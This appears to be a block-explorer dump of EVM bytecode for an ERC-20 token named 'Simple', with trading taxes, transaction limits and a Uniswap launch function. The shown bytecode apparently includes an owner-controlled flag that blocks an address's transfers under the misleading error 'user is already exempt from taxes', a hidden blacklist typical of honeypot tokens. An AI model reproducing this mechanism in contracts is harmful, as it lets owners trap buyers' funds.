2277565b611ee3565b5f4790505f811115611bcd57611bcc4761214e565b5b505b505b5f811115611cd057611c298160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461228f90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cc7919061257c565b60405180910390a35b611d208260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122ec90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611dc3611d7782846122ec90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461228f90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e6684866122ec90919063ffffffff16565b604051611e73919061257c565b60405180910390a350505050565b5f838311158290611ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebf9190612420565b60405180910390fd5b505f8385611ed6919061306f565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611f1a57611f196130a2565b5b604051908082528060200260200182016040528015611f485781602001602082028036833780820191505090505b50905030815f81518110611f5f57611f5e6130cf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612003573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061202791906129d8565b8160018151811061203b5761203a6130cf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120a13060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112bf565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016121039594939291906131b3565b5f604051808303815f87803b15801561211a575f80fd5b505af115801561212c573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156121b3573d5f803e3d5ffd5b5050565b5f8083036121c7575f9050612228565b5f82846121d4919061291b565b90508284826121e39190613238565b14612223576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221a906132d8565b60405180910390fd5b809150505b92915050565b5f61226f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612335565b905092915050565b5f8183116122855782612287565b815b905092915050565b5f80828461229d9190612f8d565b9050838110156122e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d990613340565b60405180910390fd5b8091505092915050565b5f61232d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e81565b905092915050565b5f808311829061237b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123729190612420565b60405180910390fd5b505f83856123899190613238565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156123cd5780820151818401526020810190506123b2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6123f282612396565b6123fc81856123a0565b935061240c8185602086016123b0565b612415816123d8565b840191505092915050565b5f6020820190508181035f83015261243881846123e8565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61246d82612444565b9050919050565b61247d81612463565b8114612487575f80fd5b50565b5f8135905061249881612474565b92915050565b5f819050919050565b6124b08161249e565b81146124ba575f80fd5b50565b5f813590506124cb816124a7565b92915050565b5f80604083850312156124e7576124e6612440565b5b5f6124f48582860161248a565b9250506020612505858286016124bd565b9150509250929050565b5f8115159050919050565b6125238161250f565b82525050565b5f60208201905061253c5f83018461251a565b92915050565b5f6020828403121561255757612556612440565b5b5f6125648482850161248a565b91505092915050565b6125768161249e565b82525050565b5f60208201905061258f5f83018461256d565b92915050565b5f805f606084860312156125ac576125ab612440565b5b5f6125b98682870161248a565b93505060206125ca8682870161248a565b92505060406125db868287016124bd565b9150509250925092565b5f60ff82169050919050565b6125fa816125e5565b82525050565b5f6020820190506126135f8301846125f1565b92915050565b61262281612463565b82525050565b5f60208201905061263b5f830184612619565b92915050565b5f806040838503121561265757612656612440565b5b5f6126648582860161248a565b92505060206126758582860161248a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6126b36020836123a0565b91506126be8261267f565b602082019050919050565b5f6020820190508181035f8301526126e0816126a7565b9050919050565b7f7573657220697320616c7265616479206578656d70742066726f6d20746178655f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f6127416021836123a0565b915061274c826126e7565b604082019050919050565b5f6020820190508181035f83015261276e81612735565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156127f7578086048111156127d3576127d2612775565b5b60018516156127e25780820291505b80810290506127f0856127a2565b94506127b7565b94509492505050565b5f8261280f57600190506128ca565b8161281c575f90506128ca565b8160018114612832576002811461283c5761286b565b60019150506128ca565b60ff84111561284e5761284d612775565b5b8360020a91508482111561286557612864612775565b5b506128ca565b5060208310610133831016604e8410600b84101617156128a05782820a90508381111561289b5761289a612775565b5b6128ca565b6128ad84848460016127ae565b925090508184048111156128c4576128c3612775565b5b81810290505b9392505050565b5f6128db8261249e565b91506128e6836125e5565b92506129137fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612800565b905092915050565b5f6129258261249e565b91506129308361249e565b925082820261293e8161249e565b9150828204841483151761295557612954612775565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6129906017836123a0565b915061299b8261295c565b602082019050919050565b5f6020820190508181035f8301526129bd81612984565b9050919050565b5f815190506129d281612474565b92915050565b5f602082840312156129ed576129ec612440565b5b5f6129fa848285016129c4565b91505092915050565b5f604082019050612a165f830185612619565b612a236020830184612619565b9392505050565b5f819050919050565b5f819050919050565b5f612a56612a51612a4c84612a2a565b612a33565b61249e565b9050919050565b612a6681612a3c565b82525050565b5f60c082019050612a7f5f830189612619565b612a8c602083018861256d565b612a996040830187612a5d565b612aa66060830186612a5d565b612ab36080830185612619565b612ac060a083018461256d565b979650505050505050565b5f81519050612ad9816124a7565b92915050565b5f805f60608486031215612af657612af5612440565b5b5f612b0386828701612acb565b9350506020612b1486828701612acb565b9250506040612b2586828701612acb565b9150509250925092565b5f604082019050612b425f830185612619565b612b4f602083018461256d565b9392505050565b612b5f8161250f565b8114612b69575f80fd5b50565b5f81519050612b7a81612b56565b92915050565b5f60208284031215612b9557612b94612440565b5b5f612ba284828501612b6c565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612c056024836123a0565b9150612c1082612bab565b604082019050919050565b5f6020820190508181035f830152612c3281612bf9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c936022836123a0565b9150612c9e82612c39565b604082019050919050565b5f6020820190508181035f830152612cc081612c87565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612d216025836123a0565b9150612d2c82612cc7565b604082019050919050565b5f6020820190508181035f830152612d4e81612d15565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612daf6023836123a0565b9150612dba82612d55565b604082019050919050565b5f6020820190508181035f830152612ddc81612da3565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612e3d6029836123a0565b9150612e4882612de3565b604082019050919050565b5f6020820190508181035f830152612e6a81612e31565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f612ef16049836123a0565b9150612efc82612e71565b606082019050919050565b5f6020820190508181035f830152612f1e81612ee5565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612f596019836123a0565b9150612f6482612f25565b602082019050919050565b5f6020820190508181035f830152612f8681612f4d565b9050919050565b5f612f978261249e565b9150612fa28361249e565b9250828201905080821115612fba57612fb9612775565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612ff4601a836123a0565b9150612fff82612fc0565b602082019050919050565b5f6020820190508181035f83015261302181612fe8565b9050919050565b5f6130328261249e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361306457613063612775565b5b600182019050919050565b5f6130798261249e565b91506130848361249e565b925082820390508181111561309c5761309b612775565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61312e81612463565b82525050565b5f61313f8383613125565b60208301905092915050565b5f602082019050919050565b5f613161826130fc565b61316b8185613106565b935061317683613116565b805f5b838110156131a657815161318d8882613134565b97506131988361314b565b925050600181019050613179565b5085935050505092915050565b5f60a0820190506131c65f83018861256d565b6131d36020830187612a5d565b81810360408301526131e58186613157565b90506131f46060830185612619565b613201608083018461256d565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6132428261249e565b915061324d8361249e565b92508261325d5761325c61320b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132c26021836123a0565b91506132cd82613268565b604082019050919050565b5f6020820190508181035f8301526132ef816132b6565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61332a601b836123a0565b9150613335826132f6565b602082019050919050565b5f6020820190508181035f8301526133578161331e565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf68feb024232d438da59eead8947350fa3d63c457cd18c3f368051ca148bf0064736f6c63430008140033

Deployed Bytecode

0x60806040526004361061012d575f3560e01c8063715018a6116100aa57806395d89b411161006e57806395d89b41146103a4578063a9059cbb146103ce578063bf474bed1461040a578063c876d0b914610434578063c9567bf91461045e578063dd62ed3e1461047457610134565b8063715018a6146102fa578063751039fc146103105780637d1db4a5146103265780638da5cb5b146103505780638f9a55c01461037a57610134565b806323b872dd116100f157806323b872dd1461021a578063313ce56714610256578063519b1a441461028057806351bc3c85146102a857806370a08231146102be57610134565b806306fdde0314610138578063095ea7b3146101625780630efd78011461019e5780630faee56f146101c657806318160ddd146101f057610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c6104b0565b6040516101599190612420565b60405180910390f35b34801561016d575f80fd5b50610188600480360381019061018391906124d1565b6104ed565b6040516101959190612529565b60405180910390f35b3480156101a9575f80fd5b506101c460048036038101906101bf9190612542565b61050a565b005b3480156101d1575f80fd5b506101da610680565b6040516101e7919061257c565b60405180910390f35b3480156101fb575f80fd5b50610204610686565b604051610211919061257c565b60405180910390f35b348015610225575f80fd5b50610240600480360381019061023b9190612595565b6106aa565b60405161024d9190612529565b60405180910390f35b348015610261575f80fd5b5061026a61077e565b6040516102779190612600565b60405180910390f35b34801561028b575f80fd5b506102a660048036038101906102a19190612542565b610786565b005b3480156102b3575f80fd5b506102bc6108fa565b005b3480156102c9575f80fd5b506102e460048036038101906102df9190612542565b610992565b6040516102f1919061257c565b60405180910390f35b348015610305575f80fd5b5061030e6109d8565b005b34801561031b575f80fd5b50610324610b26565b005b348015610331575f80fd5b5061033a610c71565b604051610347919061257c565b60405180910390f35b34801561035b575f80fd5b50610364610c77565b6040516103719190612628565b60405180910390f35b348015610385575f80fd5b5061038e610c9e565b60405161039b919061257c565b60405180910390f35b3480156103af575f80fd5b506103b8610ca4565b6040516103c59190612420565b60405180910390f35b3480156103d9575f80fd5b506103f460048036038101906103ef91906124d1565b610ce1565b6040516104019190612529565b60405180910390f35b348015610415575f80fd5b5061041e610cfe565b60405161042b919061257c565b60405180910390f35b34801561043f575f80fd5b50610448610d04565b6040516104559190612529565b60405180910390f35b348015610469575f80fd5b50610472610d16565b005b34801561047f575f80fd5b5061049a60048036038101906104959190612641565b611236565b6040516104a7919061257c565b60405180910390f35b60606040518060400160405280600681526020017f53696d706c650000000000000000000000000000000000000000000000000000815250905090565b5f6105006104f96112b8565b84846112bf565b6001905092915050565b6105126112b8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461059e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610595906126c9565b60405180910390fd5b60045f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061f90612757565b60405180910390fd5b600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60125481565b5f6009600a61069591906128d1565b64012a05f2006106a5919061291b565b905090565b5f6106b6848484611482565b610773846106c26112b8565b61076e8560405180606001604052806028815260200161335f6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107256112b8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e819092919063ffffffff16565b6112bf565b600190509392505050565b5f6009905090565b61078e6112b8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461081a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610811906126c9565b60405180910390fd5b60045f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166108a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089a90612757565b60405180910390fd5b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661093b6112b8565b73ffffffffffffffffffffffffffffffffffffffff161461095a575f80fd5b5f61096430610992565b90505f8111156109785761097781611ee3565b5b5f4790505f81111561098e5761098d8161214e565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109e06112b8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a63906126c9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b2e6112b8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb1906126c9565b60405180910390fd5b6009600a610bc891906128d1565b64012a05f200610bd8919061291b565b600f819055506009600a610bec91906128d1565b64012a05f200610bfc919061291b565b6010819055505f60065f6101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610c4a91906128d1565b64012a05f200610c5a919061291b565b604051610c67919061257c565b60405180910390a1565b600f5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600681526020017f53696d706c650000000000000000000000000000000000000000000000000000815250905090565b5f610cf4610ced6112b8565b8484611482565b6001905092915050565b60115481565b60065f9054906101000a900460ff1681565b610d1e6112b8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da1906126c9565b60405180910390fd5b60148054906101000a900460ff1615610df8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610def906129a6565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e953060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610e8091906128d1565b64012a05f200610e90919061291b565b6112bf565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eff573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f2391906129d8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fa9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fcd91906129d8565b6040518363ffffffff1660e01b8152600401610fea929190612a03565b6020604051808303815f875af1158015611006573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061102a91906129d8565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110b130610992565b5f806110bb610c77565b426040518863ffffffff1660e01b81526004016110dd96959493929190612a6c565b60606040518083038185885af11580156110f9573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061111e9190612adf565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111be929190612b2f565b6020604051808303815f875af11580156111da573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111fe9190612b80565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361132d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132490612c1b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361139b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139290612ca9565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611475919061257c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612d37565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361155e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155590612dc5565b60405180910390fd5b5f81116115a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159790612e53565b60405180910390fd5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561162a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162190612757565b60405180910390fd5b5f611633610c77565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156116a15750611671610c77565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bd1576116e260646116d4600b54600e54116116c1576007546116c5565b6009545b856121b790919063ffffffff16565b61222e90919063ffffffff16565b905060065f9054906101000a900460ff161561186a5760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a2575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611869574360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611826576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181d90612f07565b60405180910390fd5b4360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611913575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611966575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a2057600f548211156119b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a790612f6f565b60405180910390fd5b601054826119bd85610992565b6119c79190612f8d565b1115611a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ff9061300a565b60405180910390fd5b600e5f815480929190611a1a90613028565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611aa857503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611aec57611ae96064611adb600c54600e5411611ac857600854611acc565b600a545b856121b790919063ffffffff16565b61222e90919063ffffffff16565b90505b5f611af630610992565b9050601460159054906101000a900460ff16158015611b61575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611b795750601460169054906101000a900460ff165b8015611b86575060115481115b8015611b955750600d54600e54115b15611bcf57611bb7611bb284611bad84601254612277565b612277565b611ee3565b5f4790505f811115611bcd57611bcc4761214e565b5b505b505b5f811115611cd057611c298160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461228f90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cc7919061257c565b60405180910390a35b611d208260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122ec90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611dc3611d7782846122ec90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461228f90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e6684866122ec90919063ffffffff16565b604051611e73919061257c565b60405180910390a350505050565b5f838311158290611ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebf9190612420565b60405180910390fd5b505f8385611ed6919061306f565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611f1a57611f196130a2565b5b604051908082528060200260200182016040528015611f485781602001602082028036833780820191505090505b50905030815f81518110611f5f57611f5e6130cf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612003573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061202791906129d8565b8160018151811061203b5761203a6130cf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120a13060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112bf565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016121039594939291906131b3565b5f604051808303815f87803b15801561211a575f80fd5b505af115801561212c573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156121b3573d5f803e3d5ffd5b5050565b5f8083036121c7575f9050612228565b5f82846121d4919061291b565b90508284826121e39190613238565b14612223576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221a906132d8565b60405180910390fd5b809150505b92915050565b5f61226f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612335565b905092915050565b5f8183116122855782612287565b815b905092915050565b5f80828461229d9190612f8d565b9050838110156122e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d990613340565b60405180910390fd5b8091505092915050565b5f61232d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e81565b905092915050565b5f808311829061237b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123729190612420565b60405180910390fd5b505f83856123899190613238565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156123cd5780820151818401526020810190506123b2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6123f282612396565b6123fc81856123a0565b935061240c8185602086016123b0565b612415816123d8565b840191505092915050565b5f6020820190508181035f83015261243881846123e8565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61246d82612444565b9050919050565b61247d81612463565b8114612487575f80fd5b50565b5f8135905061249881612474565b92915050565b5f819050919050565b6124b08161249e565b81146124ba575f80fd5b50565b5f813590506124cb816124a7565b92915050565b5f80604083850312156124e7576124e6612440565b5b5f6124f48582860161248a565b9250506020612505858286016124bd565b9150509250929050565b5f8115159050919050565b6125238161250f565b82525050565b5f60208201905061253c5f83018461251a565b92915050565b5f6020828403121561255757612556612440565b5b5f6125648482850161248a565b91505092915050565b6125768161249e565b82525050565b5f60208201905061258f5f83018461256d565b92915050565b5f805f606084860312156125ac576125ab612440565b5b5f6125b98682870161248a565b93505060206125ca8682870161248a565b92505060406125db868287016124bd565b9150509250925092565b5f60ff82169050919050565b6125fa816125e5565b82525050565b5f6020820190506126135f8301846125f1565b92915050565b61262281612463565b82525050565b5f60208201905061263b5f830184612619565b92915050565b5f806040838503121561265757612656612440565b5b5f6126648582860161248a565b92505060206126758582860161248a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6126b36020836123a0565b91506126be8261267f565b602082019050919050565b5f6020820190508181035f8301526126e0816126a7565b9050919050565b7f7573657220697320616c7265616479206578656d70742066726f6d20746178655f8201527f73000000000000000000000000000000000000000000000000